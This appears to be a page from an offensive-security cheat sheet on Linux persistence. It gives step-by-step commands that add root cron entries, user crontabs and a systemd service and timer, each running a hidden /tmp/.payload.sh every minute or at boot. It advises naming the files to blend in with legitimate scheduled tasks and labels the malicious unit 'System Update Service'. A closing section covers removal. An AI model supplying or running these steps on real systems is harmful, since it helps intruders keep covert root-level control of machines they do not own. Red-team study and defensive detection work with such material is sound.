Skip to content
HackIndex logo

HackIndex

Linux Cron and Timer Persistence

1 min read Jul 14, 2026

Cron jobs and systemd timers are the most reliable persistence mechanisms on Linux. They survive reboots, run without an active user session, and blend in with dozens of legitimate scheduled tasks already present on every system. Root-level cron entries execute regardless of who is logged in.

System-wide cron jobs

Entries in /etc/cron* directories and /etc/crontab run as root by default. These require root access to create but persist across reboots and user password changes.

user@host ~ $ # Add directly to /etc/crontab (requires root)
user@host ~ $ echo '* * * * * root /tmp/.payload.sh' >> /etc/crontab
 
user@host ~ $ # Drop script in cron.d (preferred — cleaner, named file)
user@host ~ $ cat > /etc/cron.d/sysupdate << 'EOF'
* * * * * root /tmp/.payload.sh
EOF
user@host ~ $ chmod 644 /etc/cron.d/sysupdate
 
user@host ~ $ # Use cron.d for more control over timing
user@host ~ $ # Every 5 minutes
user@host ~ $ */5 * * * * root /tmp/.payload.sh
user@host ~ $ # On reboot
user@host ~ $ @reboot root /tmp/.payload.sh

Name the file something that blends with existing entries — check /etc/cron.d/ for existing filenames and match the naming pattern. Entries in cron.d must include the username field (between timing and command), unlike user crontabs.

User crontabs

User crontabs do not require root and run as the user who created them. Less reliable for root-level persistence but useful when you only have a low-privilege shell and need the session to survive reconnection.

user@host ~ $ # Edit current user's crontab
user@host ~ $ crontab -e
 
user@host ~ $ # Add directly without editor
user@host ~ $ (crontab -l 2>/dev/null; echo '* * * * * /tmp/.payload.sh') | crontab -
 
user@host ~ $ # Verify
user@host ~ $ crontab -l
 
user@host ~ $ # As a specific user (requires root)
user@host ~ $ crontab -u $USER -e

Systemd timers

Systemd timers are the modern replacement for cron. They are harder to spot with a simple crontab listing and support more trigger types — on boot, on calendar, on network availability, and more. Creating a timer requires two unit files: a service unit and a timer unit.

user@host ~ $ # Create service unit
user@host ~ $ cat > /etc/systemd/system/sysupdate.service << 'EOF'
[Unit]
Description=System Update Service
[Service]
Type=oneshot
ExecStart=/tmp/.payload.sh
EOF
 
user@host ~ $ # Create timer unit
user@host ~ $ cat > /etc/systemd/system/sysupdate.timer << 'EOF'
[Unit]
Description=System Update Timer
[Timer]
OnBootSec=30s
OnUnitActiveSec=5min
Unit=sysupdate.service
[Install]
WantedBy=timers.target
EOF
 
user@host ~ $ # Enable and start
user@host ~ $ systemctl daemon-reload
user@host ~ $ systemctl enable sysupdate.timer
user@host ~ $ systemctl start sysupdate.timer
 
user@host ~ $ # Verify
user@host ~ $ systemctl list-timers --all | grep sysupdate

Cleaning up

user@host ~ $ # Remove cron.d entry
user@host ~ $ rm /etc/cron.d/sysupdate
 
user@host ~ $ # Remove user crontab entry
user@host ~ $ crontab -l | grep -v '.payload.sh' | crontab -
 
user@host ~ $ # Remove systemd timer
user@host ~ $ systemctl stop sysupdate.timer
user@host ~ $ systemctl disable sysupdate.timer
user@host ~ $ rm /etc/systemd/system/sysupdate.timer
user@host ~ $ rm /etc/systemd/system/sysupdate.service
user@host ~ $ systemctl daemon-reload